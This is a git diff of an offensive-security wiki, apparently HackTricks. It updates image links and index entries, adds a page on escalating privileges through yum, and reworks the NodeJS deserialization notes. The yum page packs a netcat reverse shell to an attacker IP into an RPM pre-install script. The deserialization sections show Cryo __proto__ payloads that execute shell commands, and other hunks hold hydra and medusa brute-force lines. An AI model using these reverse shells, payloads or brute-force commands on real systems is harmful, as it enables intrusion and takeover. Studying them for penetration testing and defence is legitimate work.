Before Width: | Height: | Size: 21 KiB After Width: | Height: | Size: 21 KiB |
Before Width: | Height: | Size: 1.5 KiB After Width: | Height: | Size: 1.5 KiB |
Before Width: | Height: | Size: 1.5 KiB After Width: | Height: | Size: 1.5 KiB |
Before Width: | Height: | Size: 1.5 KiB After Width: | Height: | Size: 1.5 KiB |
Before Width: | Height: | Size: 1.5 KiB After Width: | Height: | Size: 1.5 KiB |
Before Width: | Height: | Size: 1.5 KiB After Width: | Height: | Size: 1.5 KiB |
Before Width: | Height: | Size: 1.5 KiB After Width: | Height: | Size: 1.5 KiB |
Before Width: | Height: | Size: 72 KiB After Width: | Height: | Size: 72 KiB |
Before Width: | Height: | Size: 72 KiB After Width: | Height: | Size: 72 KiB |
Before Width: | Height: | Size: 158 KiB After Width: | Height: | Size: 158 KiB |
Before Width: | Height: | Size: 34 KiB After Width: | Height: | Size: 34 KiB |
Before Width: | Height: | Size: 17 KiB After Width: | Height: | Size: 17 KiB |
Before Width: | Height: | Size: 44 KiB After Width: | Height: | Size: 44 KiB |
Before Width: | Height: | Size: 34 KiB After Width: | Height: | Size: 34 KiB |
Before Width: | Height: | Size: 1.1 MiB After Width: | Height: | Size: 1.1 MiB |
Before Width: | Height: | Size: 82 KiB After Width: | Height: | Size: 82 KiB |
Before Width: | Height: | Size: 123 KiB After Width: | Height: | Size: 123 KiB |
Before Width: | Height: | Size: 34 KiB After Width: | Height: | Size: 34 KiB |
Before Width: | Height: | Size: 58 KiB After Width: | Height: | Size: 58 KiB |
Before Width: | Height: | Size: 5.2 KiB After Width: | Height: | Size: 5.2 KiB |
Before Width: | Height: | Size: 783 KiB After Width: | Height: | Size: 783 KiB |
Before Width: | Height: | Size: 161 KiB After Width: | Height: | Size: 161 KiB |
Before Width: | Height: | Size: 185 KiB After Width: | Height: | Size: 185 KiB |
Before Width: | Height: | Size: 1.4 KiB After Width: | Height: | Size: 1.4 KiB |
Before Width: | Height: | Size: 13 KiB After Width: | Height: | Size: 13 KiB |
Before Width: | Height: | Size: 13 KiB After Width: | Height: | Size: 13 KiB |
Before Width: | Height: | Size: 24 KiB After Width: | Height: | Size: 24 KiB |
BIN
.gitbook/assets/image (388).png
Normal file
After Width: | Height: | Size: 152 KiB |
BIN
.gitbook/assets/image (389) (1).png
Normal file
After Width: | Height: | Size: 36 KiB |
BIN
.gitbook/assets/image (389).png
Normal file
After Width: | Height: | Size: 36 KiB |
BIN
.gitbook/assets/image (390).png
Normal file
After Width: | Height: | Size: 18 KiB |
BIN
.gitbook/assets/image (391).png
Normal file
After Width: | Height: | Size: 1.5 KiB |
BIN
.gitbook/assets/image (392).png
Normal file
After Width: | Height: | Size: 14 KiB |
BIN
.gitbook/assets/image (393).png
Normal file
After Width: | Height: | Size: 2.6 KiB |
BIN
.gitbook/assets/image (394).png
Normal file
After Width: | Height: | Size: 9.6 KiB |
BIN
.gitbook/assets/image (395).png
Normal file
After Width: | Height: | Size: 50 KiB |
BIN
.gitbook/assets/image (396).png
Normal file
After Width: | Height: | Size: 7.1 KiB |
BIN
.gitbook/assets/image (397).png
Normal file
After Width: | Height: | Size: 6 KiB |
BIN
.gitbook/assets/image (399).png
Normal file
After Width: | Height: | Size: 6.1 KiB |
BIN
.gitbook/assets/image (400).png
Normal file
After Width: | Height: | Size: 6.1 KiB |
Before Width: | Height: | Size: 3.2 MiB After Width: | Height: | Size: 3.2 MiB |
Before Width: | Height: | Size: 90 KiB After Width: | Height: | Size: 90 KiB |
Before Width: | Height: | Size: 813 KiB After Width: | Height: | Size: 813 KiB |
Before Width: | Height: | Size: 134 KiB After Width: | Height: | Size: 134 KiB |
|
@ -10,7 +10,7 @@ dht udp "DHT Nodes"
|
|||
|
||||
![](.gitbook/assets/image%20%28182%29.png)
|
||||
|
||||
![](.gitbook/assets/image%20%28345%29.png)
|
||||
![](.gitbook/assets/image%20%28345%29%20%282%29.png)
|
||||
|
||||
InfluxDB
|
||||
|
||||
|
|
|
@ -20,7 +20,7 @@ Don't forget to **give ⭐ on the github** to motivate me to continue developing
|
|||
|
||||
|
||||
|
||||
![](.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67%20%286%29.png)
|
||||
![](.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67%20%286%29%20%286%29.png)
|
||||
|
||||
[**Buy me a coffee here**](https://www.buymeacoffee.com/carlospolop)\*\*\*\*
|
||||
|
||||
|
|
|
@ -44,6 +44,7 @@
|
|||
|
||||
* [Checklist - Local Windows Privilege Escalation](windows/checklist-windows-privilege-escalation.md)
|
||||
* [Windows Local Privilege Escalation](windows/windows-local-privilege-escalation/README.md)
|
||||
* [AppendData/AddSubdirectory permission over service registry](windows/windows-local-privilege-escalation/appenddata-addsubdirectory-permission-over-service-registry.md)
|
||||
* [DPAPI - Extracting Passwords](windows/windows-local-privilege-escalation/dpapi-extracting-passwords.md)
|
||||
* [SeImpersonate from High To System](windows/windows-local-privilege-escalation/seimpersonate-from-high-to-system.md)
|
||||
* [Access Tokens](windows/windows-local-privilege-escalation/access-tokens.md)
|
||||
|
@ -157,6 +158,7 @@
|
|||
* [Print job manipulation](pentesting/pentesting-printers/print-job-manipulation.md)
|
||||
* [Print Job Retention](pentesting/pentesting-printers/print-job-retention.md)
|
||||
* [Scanner and Fax](pentesting/pentesting-printers/scanner-and-fax.md)
|
||||
* [Pentesting SAP](pentesting/pentesting-sap.md)
|
||||
* [7/tcp/udp - Pentesting Echo](pentesting/7-tcp-udp-pentesting-echo.md)
|
||||
* [21 - Pentesting FTP](pentesting/pentesting-ftp/README.md)
|
||||
* [FTP Bounce attack - Scan](pentesting/pentesting-ftp/ftp-bounce-attack.md)
|
||||
|
@ -301,7 +303,7 @@
|
|||
* [CSRF \(Cross Site Request Forgery\)](pentesting-web/csrf-cross-site-request-forgery.md)
|
||||
* [Dangling Markup - HTML scriptless injection](pentesting-web/dangling-markup-html-scriptless-injection.md)
|
||||
* [Deserialization](pentesting-web/deserialization/README.md)
|
||||
* [NodeJS deserialization \_\_proto\_\_ abuse](pentesting-web/deserialization/nodejs-deserialization-__proto__-abuse.md)
|
||||
* [NodeJS - \_\_proto\_\_ & prototype Pollution](pentesting-web/deserialization/nodejs-proto-prototype-pollution.md)
|
||||
* [Java JSF ViewState \(.faces\) Deserialization](pentesting-web/deserialization/java-jsf-viewstate-.faces-deserialization.md)
|
||||
* [Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner](pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md)
|
||||
* [Basic Java Deserialization \(ObjectInputStream, readObject\)](pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject.md)
|
||||
|
|
|
@ -20,7 +20,7 @@ Find as much information about the target as you can and generate a custom dicti
|
|||
|
||||
### Crunch
|
||||
|
||||
```text
|
||||
```bash
|
||||
crunch 4 6 0123456789ABCDEF -o crunch1.txt #From length 4 to 6 using that alphabet
|
||||
crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using charset mixalpha (inside file charset.lst)
|
||||
|
||||
|
@ -112,6 +112,7 @@ medusa -u root -P 500-worst-passwords.txt -h <IP> -M ftp
|
|||
|
||||
```bash
|
||||
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/
|
||||
# Use https-get mode for httpS
|
||||
medusa -h <IP> -u <username> -P <passwords.txt> -M http -m DIR:/path/to/auth -T 10
|
||||
```
|
||||
|
||||
|
@ -119,6 +120,7 @@ medusa -h <IP> -u <username> -P <passwords.txt> -M http -m DIR:/path/to/auth -
|
|||
|
||||
```bash
|
||||
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
|
||||
# Use https-post-form mode for httpS
|
||||
```
|
||||
|
||||
For http**s** you have to change from "http-post-form" to "**https-post-form"**
|
||||
|
|
|
@ -8,7 +8,7 @@ This machine was categorised as easy and it was pretty easy.
|
|||
|
||||
I started **enumerating the machine using my tool** [**Legion**](https://github.com/carlospolop/legion):
|
||||
|
||||
![](../../.gitbook/assets/image%20%2861%29.png)
|
||||
![](../../.gitbook/assets/image%20%2879%29.png)
|
||||
|
||||
In as you can see 2 ports are open: 80 \(**HTTP**\) and 22 \(**SSH**\)
|
||||
|
||||
|
|
|
@ -307,7 +307,7 @@ Este programa también sirve para crear los **payloads**. Le puedes dar la libre
|
|||
|
||||
Este tipo de overflows se producen cuando una variable no está preparada para soportar un número tan grande como se le pasa, posiblemente por una confusión entre variables con y sin signo, por ejemplo:
|
||||
|
||||
```text
|
||||
```c
|
||||
#include <stdion.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
|
@ -318,16 +318,16 @@ unsigned int l;
|
|||
char buffer[256];
|
||||
int i;
|
||||
len = l = strtoul(argv[1], NULL, 10);
|
||||
printf(“\nL = %u\n”, l);
|
||||
printf(“\nLEN = %d\n”, len);
|
||||
printf("\nL = %u\n", l);
|
||||
printf("\nLEN = %d\n", len);
|
||||
if (len >= 256){
|
||||
printf(“\nLongitus excesiva\n”);
|
||||
printf("\nLongitus excesiva\n");
|
||||
exit(1);
|
||||
}
|
||||
if(strlen(argv[2]) < l)
|
||||
strcpy(buffer, argv[2]);
|
||||
else
|
||||
printf(“\nIntento de hack\n”);
|
||||
printf("\nIntento de hack\n");
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
|
|
@ -7,7 +7,7 @@ The objective is to call the **syscall \(execv\)** from a ROP controlling the va
|
|||
* **RDX**: Null
|
||||
* **RAX**: Value **0x3b** for x64 and **0xb** for x32, because this will call **execv**
|
||||
|
||||
```text
|
||||
```bash
|
||||
ROPgadget --binary vulnbinary | grep syscall
|
||||
ROPgadget --binary vulnbinary | grep "rdi\|rsi\|rdx\|rax" | grep pop
|
||||
```
|
||||
|
@ -25,7 +25,7 @@ You can find mov gadgets doing: `ROPgadget --binary vulnbinary | grep mov`
|
|||
|
||||
If you have found some **write-what-where** and can control the needed registries to call execv, there is only left finding a place to write.
|
||||
|
||||
```text
|
||||
```bash
|
||||
objdump -x vulnbinary | grep ".bss" -B1
|
||||
CONTENTS, ALLOC, LOAD, DATA
|
||||
23 .bss 00000010 00403418 00403418 00002418 2**3
|
||||
|
|
|
@ -45,7 +45,7 @@ DebuggableAttribute.DebuggingModes.EnableEditAndContinue)]
|
|||
|
||||
And click on **compile**:
|
||||
|
||||
![](../.gitbook/assets/image%20%28144%29.png)
|
||||
![](../.gitbook/assets/image%20%28314%29.png)
|
||||
|
||||
Then save the new file on _**File >> Save module...**_:
|
||||
|
||||
|
|
|
@ -146,7 +146,7 @@ If you want to **know** about my **latest modifications**/**additions** or you h
|
|||
If you want to **share some tricks with the community** you can also submit **pull requests** to ****[**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks) ****that will be reflected in this book.
|
||||
Don't forget to **give ⭐ on the github** to motivate me to continue developing this book.
|
||||
|
||||
![](../.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67%20%284%29.png)
|
||||
![](../.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67%20%286%29%20%284%29.png)
|
||||
|
||||
[**Buy me a coffee here**](https://www.buymeacoffee.com/carlospolop)\*\*\*\*
|
||||
|
||||
|
|
29
linux-unix/privilege-escalation/exploiting-yum.md
Normal file
|
@ -0,0 +1,29 @@
|
|||
# Exploiting Yum
|
||||
Further examples around yum can also be found on [gtfobins](https://gtfobins.github.io/gtfobins/yum/).
|
||||
|
||||
## Executing arbitrary commands via RPM Packages
|
||||
### Checking the Environment
|
||||
In order to leverage this vector the user must be able to execute yum commands as a higher privileged user, i.e. root.
|
||||
|
||||
#### A working example of this vector
|
||||
A working example of this exploit can be found in the [daily bugle](https://tryhackme.com/room/dailybugle) room on [tryhackme](https://tryhackme.com).
|
||||
|
||||
### Packing an RPM
|
||||
In the following section, I will cover packaging a reverse shell into an RPM using [fpm](https://github.com/jordansissel/fpm).
|
||||
|
||||
The example below creates a package that includes a before-install trigger with an arbitrary script that can be defined by the attacker. When installed, this package will execute the arbitrary command. I've used a simple reverse netcat shell example for demonstration but this can be changed as necessary.
|
||||
|
||||
```text
|
||||
EXPLOITDIR=$(mktemp -d)
|
||||
CMD='nc -e /bin/bash <ATTACKER IP> <PORT>'
|
||||
RPMNAME="exploited"
|
||||
echo $CMD > $EXPLOITDIR/beforeinstall.sh
|
||||
fpm -n $RPMNAME -s dir -t rpm -a all --before-install $EXPLOITDIR/beforeinstall.sh $EXPLOITDIR
|
||||
```
|
||||
|
||||
## Catching a shell
|
||||
Using the above example and assuming `yum` can be executed as a higher-privileged user.
|
||||
|
||||
1. **Transfer** the rpm to the host
|
||||
2. **Start** a listener on your local host such as the [example netcat listener](/shells/shells/linux#netcat)
|
||||
3. **Install** the vulnerable package `yum localinstall -y exploited-1.0-1.noarch.rpm`
|
|
@ -137,7 +137,7 @@ myset.symmetric\_difference\_update\(myset2\) \#myset = Elements that are not in
|
|||
|
||||
The method in \_\_It\_\_ will be the one used by sort in order to compare if an object of this class is bigger than other
|
||||
|
||||
```text
|
||||
```python
|
||||
class Person(name):
|
||||
def __init__(self,name):
|
||||
self.name= name
|
||||
|
|
|
@ -441,6 +441,8 @@ _Note that you can **omit the package name** and the mobile will automatically c
|
|||
<a href="intent://hostname#Intent;scheme=scheme;package=your.package.name;S.browser_fallback_url=http%3A%2F%2Fwww.example.com;end">with alternative</a>
|
||||
```
|
||||
|
||||
Every time you find a deep link check that i**t's not receiving sensitive data \(like passwords\) via URL parameters**, because any other application could **impersonate the deep link and steal that data!**
|
||||
|
||||
An [interesting bug bounty report](https://hackerone.com/reports/855618) about links \(_/.well-known/assetlinks.json_\).
|
||||
|
||||
### Insufficient Transport Layer Protection
|
||||
|
|
|
@ -32,8 +32,9 @@ Some **interesting options of jadx** \(GUI and CLI versions\) are:
|
|||
|
||||
### [GDA-android-reversing-Tool](https://github.com/charles2gan/GDA-android-reversing-Tool)
|
||||
|
||||
Looks faster than JD-Gui, It probides more information \(MalScan, Strings...\) and same interesting capabilities: X-refs, go to functions definitions...
|
||||
But it's only available for Windows.
|
||||
GDA is also a powerful and fast reverse analysis platform. Which does not only supports the basic decompiling operation, but also many excellent functions like **Malicious behavior detection, Privacy leaking detection, Vulnerability detection, Path solving, Packer identification, Variable tracking analysis, Deobfuscation, Python& Java scripts, Device memory extraction, Data decryption and encryption** etc**.**
|
||||
|
||||
**Only for Windows.**
|
||||
|
||||
![](../../.gitbook/assets/image%20%28207%29.png)
|
||||
|
||||
|
|
|
@ -198,7 +198,7 @@ However there are **a lot of different command line useful options** that you ca
|
|||
|
||||
First of all you need to download the Der certificate from Burp. You can do this in _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_
|
||||
|
||||
![](../../.gitbook/assets/image%20%28367%29.png)
|
||||
![](../../.gitbook/assets/image%20%28367%29%20%281%29.png)
|
||||
|
||||
**Export the certificate in Der format** and lets **transform** it to a form that **Android** is going to be able to **understand.** Note that **in order to configure the burp certificate on the Android machine in AVD** you need to **run** this machine **with** the **`-writable-system`** option.
|
||||
For example you can run it like:
|
||||
|
|
|
@ -59,7 +59,7 @@ content://com.mwr.example.sieve.DBContentProvider/Passwords/
|
|||
|
||||
You should also check the **ContentProvider code** to search for queries:
|
||||
|
||||
![](../../../.gitbook/assets/image%20%28152%29.png)
|
||||
![](../../../.gitbook/assets/image%20%28121%29%20%281%29.png)
|
||||
|
||||
Also, if you can't find full queries you could **check which names are declared by the ContentProvider** on the `onCreate` method:
|
||||
|
||||
|
@ -76,7 +76,7 @@ When checking the code of the Content Provider **look** also for **functions** n
|
|||
|
||||
![](../../../.gitbook/assets/image%20%28211%29.png)
|
||||
|
||||
![](../../../.gitbook/assets/image%20%28254%29.png)
|
||||
![](../../../.gitbook/assets/image%20%28254%29%20%281%29.png)
|
||||
|
||||
Because you will be able to call them
|
||||
|
||||
|
|
|
@ -60,7 +60,7 @@ If you want to **know** about my **latest modifications**/**additions** or you h
|
|||
If you want to **share some tricks with the community** you can also submit **pull requests** to ****[**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks) ****that will be reflected in this book.
|
||||
Don't forget to **give ⭐ on the github** to motivate me to continue developing this book.
|
||||
|
||||
![](../.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67.png)
|
||||
![](../.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67%20%286%29.png)
|
||||
|
||||
[**Buy me a coffee here**](https://www.buymeacoffee.com/carlospolop)\*\*\*\*
|
||||
|
||||
|
|
|
@ -132,7 +132,7 @@ Check also the page about [**NTLM**](windows/ntlm/), it could be very useful to
|
|||
* [**CBC-MAC**](crypto/cipher-block-chaining-cbc-mac-priv.md)
|
||||
* [**Padding Oracle**](crypto/padding-oracle-priv.md)
|
||||
|
||||
![](.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67%20%281%29.png)
|
||||
![](.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67%20%286%29%20%281%29.png)
|
||||
|
||||
[**Buy me a coffee here**](https://www.buymeacoffee.com/carlospolop)
|
||||
|
||||
|
|
|
@ -94,7 +94,7 @@ Learn here about how to perform [Cache Poisoning attacks abusing HTTP Request Sm
|
|||
The goal of Cache Deception is to make clients load resources that are going to be saved by the cache with their sensitive information.
|
||||
A very clear example can be found in this write-up: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).
|
||||
|
||||
It=n the example is is explained that if you load a non-existent page like _http://www.example.com/home.php/non-existent.css_ the content of _http://www.example.com/home.php_ \(**with the users sensitive information**\) is going to be returned and the cache server is going to save the result.
|
||||
In the example it is explained that if you load a non-existent page like _http://www.example.com/home.php/non-existent.css_ the content of _http://www.example.com/home.php_ \(**with the users sensitive information**\) is going to be returned and the cache server is going to save the result.
|
||||
Then, the **attacker** can access _http://www.example.com/home.php_ and see the **confidential information** of the users that accessed before.
|
||||
|
||||
Note that the **cache proxy** should be **configured** to **cache** files **based** on the **extension** of the file \(_.css_\) and not base on the content-type. In the example _http://www.example.com/home.php/non-existent.css_ will have a `text/html` content-type instead of a `text/css` mime type \(which is the expected for a _.css_ file\).
|
||||
|
|
|
@ -94,6 +94,12 @@ print(base64.b64encode(cPickle.dumps(P())))
|
|||
|
||||
## NodeJS
|
||||
|
||||
### `__proto__` and `prototype` pollution
|
||||
|
||||
If you want to learn about this technique **take a look to the following tutorial**:
|
||||
|
||||
{% page-ref page="nodejs-proto-prototype-pollution.md" %}
|
||||
|
||||
### [node-serialize](https://www.npmjs.com/package/node-serialize)
|
||||
|
||||
This library allows to serialise functions. Example:
|
||||
|
@ -189,71 +195,12 @@ var test = "function(){ require('child_process').exec('ls /', function(error, st
|
|||
deserialize(test)
|
||||
```
|
||||
|
||||
### \_\_proto\_\_ abuse
|
||||
### Cryo library
|
||||
|
||||
_**\(This information was taken from**_ [_**here**_ ](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)_**and**_ [_**here**_](https://hackerone.com/reports/350418)_**\).**_
|
||||
In the following pages you can find information about how to abuse this library to execute arbitrary commands:
|
||||
|
||||
**Another way** to achieve code execution is leveraging in **functions** with **attacker’s controlled** data which are **called automatically** **during** the **deserialization** process or after when an application interacts with a newly created object. Something similar to “magic methods” in other languages.
|
||||
|
||||
Many packages use the next approach in the deserialization process. They create an empty object and then set its properties using square brackets notations:
|
||||
|
||||
```javascript
|
||||
obj[key]=value
|
||||
```
|
||||
|
||||
Secondly, a call of some function leads to the invoking of the function arguments’ methods. For example, when an object is converted to a string, then methods valueOf, toString of the object are called automatically \(more details [here](http://2ality.com/2012/03/converting-to-string.html)\). So, `console.log(obj)` leads to invocation of `obj.toString()`. Another example, `JSON.stringify(obj)` internally invokes obj.toJSON\(\).
|
||||
|
||||
Abusing the [\_\_proto\_\_ property ](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/proto)you can **change the methods of the object**, for example `obj.valueOf` or `obj.toString`. So, if you can modify the `__proto__` property of an object you can modify the behaviour of the object when a method is call: you could make it execute arbitrary code whenever `obj.toString` is called. Keep in mind that the **execution** of several **methods** are very **common**, for example `console.log(obj + "anything")` will execute `obj.toString`, or `JSON.stringify(obj)` internally invokes `obj.toJSON()`.
|
||||
|
||||
I’ve found a nice example – [package Cryo](https://www.npmjs.com/package/cryo), which supports both function serialization and square bracket notation for object reconstruction, but which isn’t vulnerable to IIFE, because it properly manages object \(without using `eval&co`\).
|
||||
|
||||
Here a code for serialization and deserialization of an object:
|
||||
|
||||
```javascript
|
||||
cvar Cryo = require('cryo');
|
||||
var obj = {
|
||||
testFunc : function() {return 1111;}
|
||||
};
|
||||
|
||||
var frozen = Cryo.stringify(obj);
|
||||
console.log(frozen)
|
||||
|
||||
var hydrated = Cryo.parse(frozen);
|
||||
console.log(hydrated);
|
||||
```
|
||||
|
||||
Abusing `__proto__` property to modify the behaviour of the object when calling `toString` and `valueOf` \(Note that you need to modify the **serialized object** from `__proto` to `__proto__` to abuse the deserialization\):
|
||||
|
||||
```javascript
|
||||
// Simple deserialization executing a console.log
|
||||
var obj = {
|
||||
__proto: {
|
||||
toString: function() {console.log("defconrussia"); return 1111;},
|
||||
valueOf: function() {console.log("defconrussia"); return 2222;}
|
||||
}
|
||||
};
|
||||
var sertest = Cryo.stringify(obj);
|
||||
sertest //'{"root":"_CRYO_REF_3","references":[{"contents":{},"value":"_CRYO_FUNCTION_function() {console.log(\\"defconrussia\\"); return 1111;}"},{"contents":{},"value":"_CRYO_FUNCTION_function() {console.log(\\"defconrussia\\"); return 2222;}"},{"contents":{"toString":"_CRYO_REF_0","valueOf":"_CRYO_REF_1"},"value":"_CRYO_OBJECT_"},{"contents":{"__proto":"_CRYO_REF_2"},"value":"_CRYO_OBJECT_"}]}'
|
||||
|
||||
var destest = '{"root":"_CRYO_REF_3","references":[{"contents":{},"value":"_CRYO_FUNCTION_function() {console.log(\\"defconrussia\\"); return 1111;}"},{"contents":{},"value":"_CRYO_FUNCTION_function() {console.log(\\"defconrussia\\"); return 2222;}"},{"contents":{"toString":"_CRYO_REF_0","valueOf":"_CRYO_REF_1"},"value":"_CRYO_OBJECT_"},{"contents":{"__proto__":"_CRYO_REF_2"},"value":"_CRYO_OBJECT_"}]}'
|
||||
var destestdone = Cryo.parse(destest);
|
||||
console.log(destestdone + "anything");
|
||||
|
||||
|
||||
// Deserialization with RCE
|
||||
var obj = {
|
||||
__proto: {
|
||||
toString: function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); },
|
||||
valueOf: function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }
|
||||
}
|
||||
};
|
||||
var sertest = Cryo.stringify(obj);
|
||||
sertest //'{"root":"_CRYO_REF_3","references":[{"contents":{},"value":"_CRYO_FUNCTION_function() {console.log(\\"defconrussia\\"); return 1111;}"},{"contents":{},"value":"_CRYO_FUNCTION_function() {console.log(\\"defconrussia\\"); return 2222;}"},{"contents":{"toString":"_CRYO_REF_0","valueOf":"_CRYO_REF_1"},"value":"_CRYO_OBJECT_"},{"contents":{"__proto":"_CRYO_REF_2"},"value":"_CRYO_OBJECT_"}]}'
|
||||
|
||||
var destest = '{"root":"_CRYO_REF_3","references":[{"contents":{},"value":"_CRYO_FUNCTION_function(){ require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) }); }"},{"contents":{},"value":"_CRYO_FUNCTION_function(){ require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) }); }"},{"contents":{"toString":"_CRYO_REF_0","valueOf":"_CRYO_REF_1"},"value":"_CRYO_OBJECT_"},{"contents":{"__proto__":"_CRYO_REF_2"},"value":"_CRYO_OBJECT_"}]}'
|
||||
var destestdone = Cryo.parse(destest);
|
||||
console.log(destestdone + "anything");
|
||||
```
|
||||
* [https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)
|
||||
* [https://hackerone.com/reports/350418](https://hackerone.com/reports/350418)
|
||||
|
||||
## Java - HTTP
|
||||
|
||||
|
|
|
@ -14,7 +14,7 @@ The following properties or combination of properties apply to ViewState informa
|
|||
|
||||
## **Test Cases**
|
||||
|
||||
![](../../.gitbook/assets/image%20%2873%29.png)
|
||||
![](../../.gitbook/assets/image%20%28309%29.png)
|
||||
|
||||
### Test Case: 1 – EnableViewStateMac=false and viewStateEncryptionMode=false
|
||||
|
||||
|
|
|
@ -149,7 +149,7 @@ You can download [**GadgetProbe**](https://github.com/BishopFox/GadgetProbe) fro
|
|||
|
||||
Inside the github, [**GadgetProbe has some wordlists**](https://github.com/BishopFox/GadgetProbe/tree/master/wordlists) ****with Java classes for being tested.
|
||||
|
||||
![](../../.gitbook/assets/intruder4%20%281%29.gif)
|
||||
![](../../.gitbook/assets/intruder4%20%281%29%20%281%29.gif)
|
||||
|
||||
### More Information
|
||||
|
||||
|
|
|
@ -1,66 +0,0 @@
|
|||
# NodeJS deserialization \_\_proto\_\_ abuse
|
||||
|
||||
This information was copied from this research: [https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)
|
||||
|
||||
While I was researching packages, I stumbled upon the idea to look at other approaches of attacks on deserialization, which are used in other languages. To achieve code execution we leverage functions with attacker’s controlled data which are called automatically during the deserialization process or after when an application interacts with a newly created object. Something similar to “magic methods” in other languages.
|
||||
|
||||
Actually, there are a lot of packages which work completely differently, still after some experiments I came to an interesting semi-universal attack. It is based on two facts.
|
||||
Firstly, many packages use the next approach in the deserialization process. They create an empty object and then set its properties using square brackets notations:
|
||||
|
||||
```text
|
||||
obj[key]=value
|
||||
```
|
||||
|
||||
where **key** and **value** are taken from JSON
|
||||
Therefore we as attackers are able to control practically any property of a new object. If we look through the list of properties, our attention comes to the [cool \_\_proto\_\_ property ](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/proto). The property is used to access and change a prototype of an object. This means that we can change the object’s behavior and add/change its methods.
|
||||
|
||||
Secondly, a call of some function leads to the invoking of the function arguments’ methods. For example, when an object is converted to a string, then methods valueOf, toString of the object are called automatically \(more details [here](http://2ality.com/2012/03/converting-to-string.html)\). So, `console.log(obj)` leads to invocation of `obj.toString()`. Another example, `JSON.stringify(obj)` internally invokes obj.toJSON\(\).
|
||||
Using both of these features, we can get remote code execution in process of interaction between an application `(node.js)` and an object.
|
||||
|
||||
I’ve found a nice example – [package Cryo](https://www.npmjs.com/package/cryo), which supports both function serialization and square bracket notation for object reconstruction, but which isn’t vulnerable to IIFE, because it properly manages object \(without using `eval&co`\).
|
||||
Here a code for serialization and deserialization of an object:
|
||||
|
||||
```text
|
||||
cvar Cryo = require('cryo');
|
||||
var obj = {
|
||||
testFunc : function() {return 1111;}
|
||||
};
|
||||
|
||||
var frozen = Cryo.stringify(obj);
|
||||
console.log(frozen)
|
||||
|
||||
var hydrated = Cryo.parse(frozen);
|
||||
console.log(hydrated);
|
||||
```
|
||||
|
||||
Serialized JSON looks like that. Pretty tangled:
|
||||
|
||||
```text
|
||||
{"root":"_CRYO_REF_1","references":[{"contents":{},"value":"_CRYO_FUNCTION_function () {return 1111;}"},{"contents":{"testFunc":"_CRYO_REF_0"},"value":"_CRYO_OBJECT_"}]}
|
||||
```
|
||||
|
||||
For our attack we can create a serialized JSON object with a `custom __proto__`. We can create our object with our own methods for the object’s prototype, but as a small trick, we can set an incorrect name for `__proto__` \(because we don’t want to rewrite a prototype of the object in our application\) and serialize it.
|
||||
|
||||
|
||||
|
||||
```text
|
||||
var obj = {
|
||||
__proto: {
|
||||
toString: function() {console.log("defconrussia"); return 1111;},
|
||||
valueOf: function() {console.log("defconrussia"); return 2222;}
|
||||
}
|
||||
};
|
||||
```
|
||||
|
||||
So we get serialized object and rename from `__proto` to `__proto__` in it:
|
||||
|
||||
```text
|
||||
{"root":"CRYO_REF_3","references":[{"contents":{},"value":"_CRYO_FUNCTION_function () {console.log(\"defconrussia\"); return 1111;}"},{"contents":{},"value":"_CRYO_FUNCTION_function () {return 2222;}"},{"contents":{"toString":"_CRYO_REF_0","valueOf":"_CRYO_REF_1"},"value":"_CRYO_OBJECT"},{"contents":{"proto":"CRYO_REF_2"},"value":"_CRYO_OBJECT"}]}
|
||||
```
|
||||
|
||||
When we send that JSON payload to an application, the package Cryo deserializes the payload in an object, but also changes the object’s prototype to our value. Therefore, if the application interacts with the object somehow, converts it to a sting, for example, then the prototype’s method will be called and our code will be executed. So, it’s RCE.
|
||||
|
||||
